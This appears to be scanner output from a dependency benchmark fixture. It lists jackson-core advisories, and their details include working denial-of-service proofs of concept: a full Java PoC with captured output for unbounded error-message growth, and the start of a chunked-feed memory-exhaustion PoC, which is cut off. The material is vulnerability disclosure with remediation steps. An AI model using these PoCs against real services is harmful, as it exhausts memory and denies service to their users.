{ "results": [ { "source": { "path": "~/projects/sca-benchmark-wt/refresh-latest/fixtures/gradle-lock/gradle.lockfile", "type": "lockfile" }, "packages": [ { "package": { "name": "com.fasterxml.jackson.core:jackson-annotations", "version": "2.13.0", "ecosystem": "Maven", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-annotations@2.13.0" } }, { "package": { "name": "com.fasterxml.jackson.core:jackson-core", "version": "2.13.0", "ecosystem": "Maven", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-core@2.13.0" }, "groups": [ { "ids": [ "GHSA-7hhh-6rmp-j9qf" ], "aliases": [ "CVE-2026-89425", "GHSA-7hhh-6rmp-j9qf" ], "max_severity": "7.5" }, { "ids": [ "GHSA-h46c-h94j-95f3" ], "aliases": [ "CVE-2025-52999", "GHSA-h46c-h94j-95f3" ], "max_severity": "8.7" }, { "ids": [ "GHSA-r7wm-3cxj-wff9" ], "aliases": [ "CVE-2026-68494", "GHSA-r7wm-3cxj-wff9" ], "max_severity": "8.7" } ], "vulnerabilities": [ { "affected": [ { "database_specific": { "last_known_affected_version_range": "\u003c= 2.21.6", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-7hhh-6rmp-j9qf/GHSA-7hhh-6rmp-j9qf.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-core", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-core" }, "ranges": [ { "events": [ { "introduced": "2.19.0" }, { "fixed": "2.21.7" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.19.0", "2.19.1", "2.19.2", "2.19.3", "2.19.4", "2.20.0", "2.20.0-rc1", "2.20.1", "2.20.2", "2.21.0", "2.21.1", "2.21.2", "2.21.3", "2.21.4", "2.21.5", "2.21.6" ] }, { "database_specific": { "last_known_affected_version_range": "\u003c= 2.22.2", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-7hhh-6rmp-j9qf/GHSA-7hhh-6rmp-j9qf.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-core", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-core" }, "ranges": [ { "events": [ { "introduced": "2.22.0" }, { "fixed": "2.22.3" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.22.0", "2.22.1", "2.22.2" ] }, { "database_specific": { "last_known_affected_version_range": "\u003c= 3.1.6", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-7hhh-6rmp-j9qf/GHSA-7hhh-6rmp-j9qf.json" }, "package": { "ecosystem": "Maven", "name": "tools.jackson.core:jackson-core", "purl": "pkg:maven/tools.jackson.core/jackson-core" }, "ranges": [ { "events": [ { "introduced": "3.0.0" }, { "fixed": "3.1.7" } ], "type": "ECOSYSTEM" } ], "versions": [ "3.0.0", "3.0.1", "3.0.2", "3.0.3", "3.0.4", "3.1.0", "3.1.0-rc1", "3.1.1", "3.1.2", "3.1.3", "3.1.4", "3.1.5", "3.1.6" ] }, { "database_specific": { "last_known_affected_version_range": "\u003c= 3.2.2", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-7hhh-6rmp-j9qf/GHSA-7hhh-6rmp-j9qf.json" }, "package": { "ecosystem": "Maven", "name": "tools.jackson.core:jackson-core", "purl": "pkg:maven/tools.jackson.core/jackson-core" }, "ranges": [ { "events": [ { "introduced": "3.2.0" }, { "fixed": "3.2.3" } ], "type": "ECOSYSTEM" } ], "versions": [ "3.2.0", "3.2.1", "3.2.2" ] }, { "database_specific": { "last_known_affected_version_range": "\u003c= 2.18.10", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-7hhh-6rmp-j9qf/GHSA-7hhh-6rmp-j9qf.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-core", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-core" }, "ranges": [ { "events": [ { "introduced": "2.8.0" }, { "fixed": "2.18.11" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.10.0", "2.10.0.pr1", "2.10.0.pr2", "2.10.0.pr3", "2.10.1", "2.10.2", "2.10.3", "2.10.4", "2.10.5", "2.11.0", "2.11.0.rc1", "2.11.1", "2.11.2", "2.11.3", "2.11.4", "2.12.0", "2.12.0-rc1", "2.12.0-rc2", "2.12.1", "2.12.2", "2.12.3", "2.12.4", "2.12.5", "2.12.6", "2.12.7", "2.13.0", "2.13.0-rc1", "2.13.0-rc2", "2.13.1", "2.13.2", "2.13.3", "2.13.4", "2.13.5", "2.14.0", "2.14.0-rc1", "2.14.0-rc2", "2.14.0-rc3", "2.14.1", "2.14.2", "2.14.3", "2.15.0", "2.15.0-rc1", "2.15.0-rc2", "2.15.0-rc3", "2.15.1", "2.15.2", "2.15.3", "2.15.4", "2.16.0", "2.16.0-rc1", "2.16.1", "2.16.2", "2.17.0", "2.17.0-rc1", "2.17.1", "2.17.2", "2.17.3", "2.18.0", "2.18.0-rc1", "2.18.1", "2.18.10", "2.18.2", "2.18.3", "2.18.4", "2.18.4.1", "2.18.5", "2.18.6", "2.18.7", "2.18.8", "2.18.9", "2.8.0", "2.8.1", "2.8.10", "2.8.11", "2.8.2", "2.8.3", "2.8.4", "2.8.5", "2.8.6", "2.8.7", "2.8.8", "2.8.9", "2.9.0", "2.9.0.pr1", "2.9.0.pr2", "2.9.0.pr3", "2.9.0.pr4", "2.9.1", "2.9.10", "2.9.2", "2.9.3", "2.9.4", "2.9.5", "2.9.6", "2.9.7", "2.9.8", "2.9.9" ] } ], "aliases": [ "CVE-2026-89425" ], "database_specific": { "cwe_ids": [ "CWE-400", "CWE-770" ], "github_reviewed": true, "github_reviewed_at": "2026-10-01T15:20:27Z", "nvd_published_at": "2026-09-23T03:17:04Z", "severity": "HIGH" }, "details": "## Status\n\n**FULLY REPRODUCED.** A malformed token fed through `createParser(DataInput)` produced a\n20,000,109-character exception message from a 20-million-character attacker payload, while the\nidentical payload fed through `createParser(InputStream)` produced a correctly bounded\n367-character message.\n\n## Affected Component / Version\n\n- **Package:** `com.fasterxml.jackson.core:jackson-core`\n- **Confirmed against:** `jackson-core-2.20.2`\n- **Affected file:** `src/main/java/com/fasterxml/jackson/core/json/UTF8DataInputJsonParser.java`\n (`_reportInvalidToken(int, String, String)`, lines ~2763-2780 in the 2.20.2 tree)\n\n## Technical Analysis\n\n`UTF8DataInputJsonParser._reportInvalidToken()` builds the offending-token description for its\nexception message by appending identifier characters one at a time to a bare `StringBuilder`:\n\n```java\nprotected void _reportInvalidToken(int ch, String matchedPart, String msg) throws IOException {\n StringBuilder sb = new StringBuilder(matchedPart);\n while (true) {\n char c = (char) _decodeCharForError(ch);\n if (!Character.isJavaIdentifierPart(c)) {\n break;\n }\n sb.append(c);\n ch = _inputData.readUnsignedByte();\n }\n _reportError(\"Unrecognized token '\"+sb.toString()+\"': was expecting \"+msg);\n}\n```\n\nThere is **no check against `ErrorReportConfiguration.getMaxErrorTokenLength()`** (default 256)\nanywhere in this loop. By contrast, the sibling `UTF8StreamJsonParser` implementation of the\nsame logic does enforce it:\n\n```java\n// UTF8StreamJsonParser.java (control, correctly bounded)\nif (sb.length() \u003e= _ioContext.errorReportConfiguration().getMaxErrorTokenLength()) {\n sb.append(\"...\");\n break;\n}\n```\n\n`ReaderBasedJsonParser` and `NonBlockingUtf8JsonParserBase` also correctly enforce the limit —\nthis is a defect isolated to the `DataInput`-backed implementation specifically, confirmed by\ndirect comparison of all four parser implementations in this tree.\n\nThis path is additionally left with **no fallback control**: because of `[core#1570]`-related\nlogic in `JsonFactory`, configuring `maxDocumentLength` causes `DataInput`-sourced parser\ncreation to be rejected outright, so a document-length backstop cannot coexist with this input\nsource, and the identifier-character accumulation never passes through\n`ReadConstrainedTextBuffer`, so `maxStringLength` does not apply either. There is no\nconfiguration an application can set to mitigate this specific path.\n\n## Reproduction Procedure\n\nSame clone/build steps as `jackson-core_1_...md`. Then:\n\n```bash\nCP=\"build/classes:build/lib/fastdoubleparser-2.0.1.jar\"\njavac -cp \"$CP\" -d poc poc/PoC6_UnboundedErrorTokenStringBuilder.java\njava -Xmx2g -cp \"poc:$CP\" PoC6_UnboundedErrorTokenStringBuilder\n```\n\n## Full PoC Source (`poc/PoC6_UnboundedErrorTokenStringBuilder.java`)\n\n```java\nimport com.fasterxml.jackson.core.*;\n\nimport java.io.DataInputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\n\npublic class PoC6_UnboundedErrorTokenStringBuilder {\n\n static class RepeatingByteInputStream extends InputStream {\n private final int b;\n private long remaining;\n RepeatingByteInputStream(int b, long count) { this.b = b; this.remaining = count; }\n @Override public int read() {\n if (remaining \u003c= 0) return -1;\n remaining--;\n return b;\n }\n }\n\n public static void main(String[] args) throws Exception {\n final long IDENTIFIER_CHAR_COUNT = 20_000_000L;\n\n System.out.println(\"Malformed token: \\\"t\\\" followed by \" + IDENTIFIER_CHAR_COUNT\n + \" Java-identifier characters ('x'), then a terminating space, never completing\"\n + \" \\\"true\\\"/\\\"false\\\"/\\\"null\\\"/NaN.\\n\");\n\n System.out.println(\"=== (a) UTF8DataInputJsonParser via createParser(DataInput) ===\");\n {\n InputStream raw = concat3(\"{\\\"a\\\": t\".getBytes(\"UTF-8\"),\n new RepeatingByteInputStream('x', IDENTIFIER_CHAR_COUNT), \" }\".getBytes(\"UTF-8\"));\n DataInputStream dataIn = new DataInputStream(raw);\n JsonFactory factory = new JsonFactory();\n JsonParser p = factory.createParser((java.io.DataInput) dataIn);\n\n long heapBefore = usedHeap();\n long t0 = System.nanoTime();\n String message = null;\n try {\n p.nextToken(); p.nextToken(); p.nextToken();\n } catch (JsonParseException e) {\n message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage();\n } catch (IOException e) {\n message = \"(stream ended: \" + e + \")\";\n }\n long elapsedMs = (System.nanoTime() - t0) / 1_000_000;\n long heapAfter = usedHeap();\n\n int msgLen = message == null ? -1 : message.length();\n System.out.println(\"Exception message length: \" + msgLen + \" characters\");\n System.out.println(\"Elapsed time: \" + elapsedMs + \" ms\");\n System.out.println(\"Approx additional heap used: \" + ((heapAfter - heapBefore) / (1024 * 1024)) + \" MB\");\n System.out.println(\"Message length proportional to the full \" + IDENTIFIER_CHAR_COUNT\n + \"-character payload (unbounded)? \" + (msgLen \u003e 1_000_000));\n }\n\n System.out.println(\"\\n=== (b) UTF8StreamJsonParser via createParser(InputStream), SAME malformed input ===\");\n {\n InputStream raw = concat3(\"{\\\"a\\\": t\".getBytes(\"UTF-8\"),\n new RepeatingByteInputStream('x', IDENTIFIER_CHAR_COUNT), \" }\".getBytes(\"UTF-8\"));\n JsonFactory factory = new JsonFactory();\n JsonParser p = factory.createParser(raw);\n\n long t0 = System.nanoTime();\n String message = null;\n try {\n p.nextToken(); p.nextToken(); p.nextToken();\n } catch (JsonParseException e) {\n message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage();\n } catch (IOException e) {\n message = \"(stream ended: \" + e + \")\";\n }\n long elapsedMs = (System.nanoTime() - t0) / 1_000_000;\n int msgLen = message == null ? -1 : message.length();\n System.out.println(\"Exception message length: \" + msgLen + \" characters\");\n System.out.println(\"Elapsed time: \" + elapsedMs + \" ms\");\n System.out.println(\"Message length bounded near default maxErrorTokenLength (256)? \" + (msgLen \u003c 500));\n }\n }\n\n static InputStream concat3(byte[] prefix, InputStream middle, byte[] suffix) {\n InputStream first = new java.io.SequenceInputStream(new java.io.ByteArrayInputStream(prefix), middle);\n return new java.io.SequenceInputStream(first, new java.io.ByteArrayInputStream(suffix));\n }\n\n static long usedHeap() {\n Runtime rt = Runtime.getRuntime();\n System.gc();\n return rt.totalMemory() - rt.freeMemory();\n }\n}\n```\n\n## Captured Evidence (actual run output)\n\n```\nMalformed token: \"t\" followed by 20000000 Java-identifier characters ('x'), then a terminating\nspace, never completing \"true\"/\"false\"/\"null\"/NaN.\n\n=== (a) UTF8DataInputJsonParser via createParser(DataInput) ===\nException message length: 20000109 characters\nElapsed time: 81 ms\nApprox additional heap used (best-effort, GC-noisy): 38 MB\nMessage length is proportional to the full 20000000-character attacker payload (unbounded)? true\n\n=== (b) UTF8StreamJsonParser via createParser(InputStream), SAME malformed input ===\nException message length: 367 characters\nElapsed time: 7 ms\nMessage length bounded near ErrorReportConfiguration.getMaxErrorTokenLength() (default 256)? true\n```\n\nThe same 20-million-character malformed token, fed to the two parser variants, produces a\n367-character message via the correctly-bounded `InputStream` path and a 20,000,109-character\nmessage via the vulnerable `DataInput` path — a difference of roughly 54,500x for identical\ninput, confirming the missing bound is the sole cause of the difference.\n\n## Impact\n\nAny application creating parsers via `JsonFactory.createParser(DataInput)` over\nattacker-supplied input (a fully public, documented API) is exposed to unbounded memory growth\nfrom a single malformed token. Scaling the payload from the 20MB demonstrated here to\ngigabytes (well within a typical unbounded request body) would drive the accumulated\n`StringBuilder` — which additionally undergoes byte-to-char expansion and internal doubling —\nto consume many times the raw payload size, realistically triggering `OutOfMemoryError` and\ndenying service to the whole JVM process. Critically, **no available configuration mitigates\nthis**: `maxDocumentLength` cannot be set for `DataInput` sources at all, and `maxStringLength`\ndoes not apply to this code path.\n\n## Remediation\n\n1. Add the `maxErrorTokenLength` check to the append loop in\n `UTF8DataInputJsonParser._reportInvalidToken()`, appending `\"...\"` and breaking when the\n limit is reached — mirroring the three other parser implementations exactly.\n2. Add a parameterized regression test across all four parser implementations asserting the\n exception message length is bounded by `maxErrorTokenLength` plus a small constant.\n3. Consider extracting this bounded-scan logic into a single shared helper on\n `ParserMinimalBase` to prevent this class of per-implementation drift recurring.", "id": "GHSA-7hhh-6rmp-j9qf", "modified": "2026-10-01T15:30:05.552671898Z", "published": "2026-10-01T15:20:27Z", "references": [ { "type": "WEB", "url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-7hhh-6rmp-j9qf" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-89425" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-core/pull/1698" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-core/commit/211cf2c5d91abbec38067f37efc1363cd4e88ee3" }, { "type": "PACKAGE", "url": "https://github.com/FasterXML/jackson-core" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-core/releases/tag/jackson-core-2.18.11" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-core/releases/tag/jackson-core-3.2.3" } ], "schema_version": "1.9.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "type": "CVSS_V3" } ], "summary": "jackson-core: UTF8DataInputJsonParser._reportInvalidToken() missing maxErrorTokenLength limit -\u003e unbounded StringBuilder growth (DoS)" }, { "affected": [ { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/06/GHSA-h46c-h94j-95f3/GHSA-h46c-h94j-95f3.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-core", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-core" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "2.15.0" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.0.0", "2.0.0-RC1", "2.0.0-RC2", "2.0.0-RC3", "2.0.1", "2.0.2", "2.0.4", "2.0.5", "2.0.6", "2.1.0", "2.1.1", "2.1.2", "2.1.3", "2.1.4", "2.1.5", "2.10.0", "2.10.0.pr1", "2.10.0.pr2", "2.10.0.pr3", "2.10.1", "2.10.2", "2.10.3", "2.10.4", "2.10.5", "2.11.0", "2.11.0.rc1", "2.11.1", "2.11.2", "2.11.3", "2.11.4", "2.12.0", "2.12.0-rc1", "2.12.0-rc2", "2.12.1", "2.12.2", "2.12.3", "2.12.4", "2.12.5", "2.12.6", "2.12.7", "2.13.0", "2.13.0-rc1", "2.13.0-rc2", "2.13.1", "2.13.2", "2.13.3", "2.13.4", "2.13.5", "2.14.0", "2.14.0-rc1", "2.14.0-rc2", "2.14.0-rc3", "2.14.1", "2.14.2", "2.14.3", "2.15.0-rc1", "2.15.0-rc2", "2.15.0-rc3", "2.2.0", "2.2.0-rc1", "2.2.1", "2.2.2", "2.2.3", "2.2.4", "2.3.0", "2.3.0-rc1", "2.3.1", "2.3.2", "2.3.3", "2.3.4", "2.3.5", "2.4.0", "2.4.0-rc1", "2.4.0-rc2", "2.4.0-rc3", "2.4.1", "2.4.1.1", "2.4.2", "2.4.3", "2.4.4", "2.4.5", "2.4.6", "2.5.0", "2.5.0-rc1", "2.5.1", "2.5.2", "2.5.3", "2.5.4", "2.5.5", "2.6.0", "2.6.0-rc1", "2.6.0-rc2", "2.6.0-rc3", "2.6.0-rc4", "2.6.1", "2.6.2", "2.6.3", "2.6.4", "2.6.5", "2.6.6", "2.6.7", "2.7.0", "2.7.0-rc1", "2.7.0-rc2", "2.7.0-rc3", "2.7.1", "2.7.2", "2.7.3", "2.7.4", "2.7.5", "2.7.6", "2.7.7", "2.7.8", "2.7.9", "2.8.0", "2.8.0.rc1", "2.8.0.rc2", "2.8.1", "2.8.10", "2.8.11", "2.8.2", "2.8.3", "2.8.4", "2.8.5", "2.8.6", "2.8.7", "2.8.8", "2.8.9", "2.9.0", "2.9.0.pr1", "2.9.0.pr2", "2.9.0.pr3", "2.9.0.pr4", "2.9.1", "2.9.10", "2.9.2", "2.9.3", "2.9.4", "2.9.5", "2.9.6", "2.9.7", "2.9.8", "2.9.9" ] } ], "aliases": [ "CVE-2025-52999" ], "database_specific": { "cwe_ids": [ "CWE-121" ], "github_reviewed": true, "github_reviewed_at": "2025-06-27T15:22:22Z", "nvd_published_at": "2025-06-25T17:15:39Z", "severity": "HIGH" }, "details": "### Impact\nWith older versions of jackson-core, if you parse an input file and it has deeply nested data, Jackson could end up throwing a StackoverflowError if the depth is particularly large.\n\n### Patches\njackson-core 2.15.0 contains a configurable limit for how deep Jackson will traverse in an input document, defaulting to an allowable depth of 1000. Change is in https://github.com/FasterXML/jackson-core/pull/943. jackson-core will throw a StreamConstraintsException if the limit is reached.\njackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs.\n\n### Workarounds\nUsers should avoid parsing input files from untrusted sources.", "id": "GHSA-h46c-h94j-95f3", "modified": "2026-09-10T03:50:25.329011263Z", "published": "2025-06-27T15:22:22Z", "references": [ { "type": "WEB", "url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-h46c-h94j-95f3" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52999" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-core/pull/943" }, { "type": "PACKAGE", "url": "https://github.com/FasterXML/jackson-core" } ], "schema_version": "1.9.0", "severity": [ { "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "type": "CVSS_V4" } ], "summary": "jackson-core can throw a StackoverflowError when processing deeply nested data" }, { "affected": [ { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-r7wm-3cxj-wff9/GHSA-r7wm-3cxj-wff9.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-core", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-core" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "2.18.8" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.0.0", "2.0.0-RC1", "2.0.0-RC2", "2.0.0-RC3", "2.0.1", "2.0.2", "2.0.4", "2.0.5", "2.0.6", "2.1.0", "2.1.1", "2.1.2", "2.1.3", "2.1.4", "2.1.5", "2.10.0", "2.10.0.pr1", "2.10.0.pr2", "2.10.0.pr3", "2.10.1", "2.10.2", "2.10.3", "2.10.4", "2.10.5", "2.11.0", "2.11.0.rc1", "2.11.1", "2.11.2", "2.11.3", "2.11.4", "2.12.0", "2.12.0-rc1", "2.12.0-rc2", "2.12.1", "2.12.2", "2.12.3", "2.12.4", "2.12.5", "2.12.6", "2.12.7", "2.13.0", "2.13.0-rc1", "2.13.0-rc2", "2.13.1", "2.13.2", "2.13.3", "2.13.4", "2.13.5", "2.14.0", "2.14.0-rc1", "2.14.0-rc2", "2.14.0-rc3", "2.14.1", "2.14.2", "2.14.3", "2.15.0", "2.15.0-rc1", "2.15.0-rc2", "2.15.0-rc3", "2.15.1", "2.15.2", "2.15.3", "2.15.4", "2.16.0", "2.16.0-rc1", "2.16.1", "2.16.2", "2.17.0", "2.17.0-rc1", "2.17.1", "2.17.2", "2.17.3", "2.18.0", "2.18.0-rc1", "2.18.1", "2.18.2", "2.18.3", "2.18.4", "2.18.4.1", "2.18.5", "2.18.6", "2.18.7", "2.2.0", "2.2.0-rc1", "2.2.1", "2.2.2", "2.2.3", "2.2.4", "2.3.0", "2.3.0-rc1", "2.3.1", "2.3.2", "2.3.3", "2.3.4", "2.3.5", "2.4.0", "2.4.0-rc1", "2.4.0-rc2", "2.4.0-rc3", "2.4.1", "2.4.1.1", "2.4.2", "2.4.3", "2.4.4", "2.4.5", "2.4.6", "2.5.0", "2.5.0-rc1", "2.5.1", "2.5.2", "2.5.3", "2.5.4", "2.5.5", "2.6.0", "2.6.0-rc1", "2.6.0-rc2", "2.6.0-rc3", "2.6.0-rc4", "2.6.1", "2.6.2", "2.6.3", "2.6.4", "2.6.5", "2.6.6", "2.6.7", "2.7.0", "2.7.0-rc1", "2.7.0-rc2", "2.7.0-rc3", "2.7.1", "2.7.2", "2.7.3", "2.7.4", "2.7.5", "2.7.6", "2.7.7", "2.7.8", "2.7.9", "2.8.0", "2.8.0.rc1", "2.8.0.rc2", "2.8.1", "2.8.10", "2.8.11", "2.8.2", "2.8.3", "2.8.4", "2.8.5", "2.8.6", "2.8.7", "2.8.8", "2.8.9", "2.9.0", "2.9.0.pr1", "2.9.0.pr2", "2.9.0.pr3", "2.9.0.pr4", "2.9.1", "2.9.10", "2.9.2", "2.9.3", "2.9.4", "2.9.5", "2.9.6", "2.9.7", "2.9.8", "2.9.9" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-r7wm-3cxj-wff9/GHSA-r7wm-3cxj-wff9.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-core", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-core" }, "ranges": [ { "events": [ { "introduced": "2.19.0" }, { "fixed": "2.21.4" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.19.0", "2.19.1", "2.19.2", "2.19.3", "2.19.4", "2.20.0", "2.20.0-rc1", "2.20.1", "2.20.2", "2.21.0", "2.21.1", "2.21.2", "2.21.3" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-r7wm-3cxj-wff9/GHSA-r7wm-3cxj-wff9.json" }, "package": { "ecosystem": "Maven", "name": "tools.jackson.core:jackson-core", "purl": "pkg:maven/tools.jackson.core/jackson-core" }, "ranges": [ { "events": [ { "introduced": "3.0.0" }, { "fixed": "3.1.4" } ], "type": "ECOSYSTEM" } ], "versions": [ "3.0.0", "3.0.1", "3.0.2", "3.0.3", "3.0.4", "3.1.0", "3.1.0-rc1", "3.1.1", "3.1.2", "3.1.3" ] } ], "aliases": [ "CVE-2026-68494" ], "database_specific": { "cwe_ids": [ "CWE-770" ], "github_reviewed": true, "github_reviewed_at": "2026-07-21T21:58:53Z", "nvd_published_at": null, "severity": "HIGH" }, "details": "## Summary\n\nThe fix released in jackson-core `2.18.6` and `2.21.1` for [GHSA-72hv-8253-57qq](https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qq) (Number Length Constraint Bypass in Async Parser, published 2026-02-28) is incomplete. The fix commit `b0c428e6` (#1555) wired `validateIntegerLength` into a new `_setIntLength` helper and called it at every place where the integer portion of a number is *decided* (terminator byte arrived, `.` / `e/E` seen, end-of-feed inside a fully-buffered value). It did not call it on the much more attacker-relevant path: \"ran out of input while still inside `MINOR_NUMBER_INTEGER_DIGITS`, return `NOT_AVAILABLE` to caller\".\n\nAs a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, can keep the parser inside `MINOR_NUMBER_INTEGER_DIGITS` indefinitely. `_textBuffer.expandCurrentSegment()` grows on every chunk, and `validateIntegerLength` is never invoked. The accumulator is only gated by `maxStringLength` (20 MiB default) — a **~20,000x amplification** of the documented `maxNumberLength` (1000 default).\n\nThis is the same vulnerability class, same advisory wording (\"Memory Exhaustion: Unbounded allocation in TextBuffer from excessively long numbers\"), same parser class — just the streaming path the original fix didn't cover. The fix to the *fraction* path is correct (see `_finishFloatFraction` at line 1834-1837 of `NonBlockingUtf8JsonParserBase.java` in 2.18.6, where `_setFractLength(fractLen)` IS called before the `NOT_AVAILABLE` return); the equivalent call is missing from every integer-digit path.\n\n## Affected versions\n\nVerified on the patched releases:\n- `com.fasterxml.jackson.core:jackson-core` **2.18.6**\n- `com.fasterxml.jackson.core:jackson-core` **2.21.1**\n\nStructurally identical code in `tools.jackson.core` 3.0.x / 3.1.x — same `NonBlockingUtf8JsonParserBase` class, same `_setIntLength` rollout, same NOT_AVAILABLE returns without validation. Not retested but presumed vulnerable.\n\n## Affected code\n\n[`src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java`](https://github.com/FasterXML/jackson-core/blob/b0c428e6/src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java) in 2.18.6 / 2.21.1.\n\n### Site 1 — `_startPositiveNumber(int ch)` lines 1320-1330:\n\n```java\nif (outPtr \u003e= outBuf.length) {\n // NOTE: must expand to ensure contents all in a single buffer (to keep\n // other parts of parsing simpler)\n outBuf = _textBuffer.expandCurrentSegment();\n}\noutBuf[outPtr++] = (char) ch;\nif (++_inputPtr \u003e= _inputEnd) {\n _minorState = MINOR_NUMBER_INTEGER_DIGITS;\n _textBuffer.setCurrentLength(outPtr);\n return _updateTokenToNA(); // \u003c-- no validateIntegerLength(outPtr)\n}\n```\n\n### Site 2 — `_finishNumberIntegralPart` lines 1691-1727:\n\n```java\nprotected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {\n int negMod = _numberNegative ? -1 : 0;\n\n while (true) {\n if (_inputPtr \u003e= _inputEnd) {\n _minorState = MINOR_NUMBER_INTEGER_DIGITS;\n _textBuffer.setCurrentLength(outPtr);\n return _updateTokenToNA(); // \u003c-- no validateIntegerLength(outPtr + negMod)\n }\n int ch = getByteFromBuffer(_inputPtr) \u0026 0xFF;\n if (ch \u003c INT_0) {\n if (ch == INT_PERIOD) {\n _setIntLength(outPtr+negMod); // \u003c-- validated here\n ++_inputPtr;\n return _startFloat(outBuf, outPtr, ch);\n }\n break;\n }\n if (ch \u003e INT_9) {\n if ((ch | 0x20) == INT_e) {\n _setIntLength(outPtr+negMod); // \u003c-- validated here\n ++_inputPtr;\n return _startFloat(outBuf, outPtr, ch);\n }\n break;\n }\n ++_inputPtr;\n if (outPtr \u003e= outBuf.length) {\n outBuf = _textBuffer.expandCurrentSegment();\n }\n outBuf[outPtr++] = (char) ch;\n }\n _setIntLength(outPtr+negMod); // \u003c-- validated here\n _textBuffer.setCurrentLength(outPtr);\n return _valueComplete(JsonToken.VALUE_NUMBER_INT);\n}\n```\n\nThe pattern recurs at lines 1297, 1329, 1343, 1365, 1395, 1409, 1437, 1467, 1481, 1586, 1644, 1698 — every \"ran out of input mid-integer\" exit returns to the caller without validating the accumulator length.\n\n### Compare with the fraction path that is correct\n\n`_finishFloatFraction` lines 1827-1838:\n\n```java\nwhile (loop) {\n if (ch \u003e= INT_0 \u0026\u0026 ch \u003c= INT_9) {\n ++fractLen;\n if (outPtr \u003e= outBuf.length) {\n outBuf = _textBuffer.expandCurrentSegment();\n }\n outBuf[outPtr++] = (char) ch;\n if (_inputPtr \u003e= _inputEnd) {\n _textBuffer.setCurrentLength(outPtr);\n _setFractLength(fractLen); // \u003c-- VALIDATED\n return JsonToken.NOT_AVAILABLE;\n }\n ch = getNextSignedByteFromBuffer();\n }\n ...\n}\n```\n\n## Impact\n\nReactive frameworks (Spring WebFlux / Reactor, Quarkus, Helidon, Vert.x JSON, anything wrapping `JsonFactory.createNonBlockingByteArrayParser()` or `createNonBlockingByteBufferParser()`) feed inbound HTTP/gRPC bytes to the async parser as they arrive. Operators who set `StreamReadConstraints.builder().maxNumberLength(N)` on the assumption that this caps memory per number value are not getting that guarantee in chunked-feed scenarios. The parser silently accumulates digits up to `maxStringLength` (20 MiB default) per concurrent connection. Multiply by attacker-controlled concurrency to OOM the JVM.\n\nThe synchronous parsers (`UTF8StreamJsonParser`, `ReaderBasedJsonParser`) and the async parser on *complete* input are not affected — those paths go through `_setIntLength` or `ParserBase._reportTooLongIntegral` correctly.\n\nCWE-770 (Allocation of Resources Without Limits or Throttling), CVSS roughly the same as the parent advisory (Network / Low complexity / High availability impact). The parent advisory was scored CVSS 8.7 High.\n\n## Proof of concept\n\nStandalone PoC, no Maven required:\n\n```\nmkdir poc \u0026\u0026 cd poc\ncurl -sLo jackson-core-2.18.6.jar https://repo1.maven.org/maven2/com/fasterxml/jackson/core/jackson-core/2.18.6/jackson-core-2.18.6.jar\ncat \u003e PoC.java \u003c\u003c'EOF'\nimport com.fasterxml.jackson.core.*;\nimport com.fasterxml.jackson.core.async.ByteArrayFeeder;\n\npublic class PoC {\n public static void main(String[] args) throws Exception {\n StreamReadConstraints strict = StreamReadConstraints.builder()\n .maxNumberLength(1000)\n .build();\n JsonFactory f = new 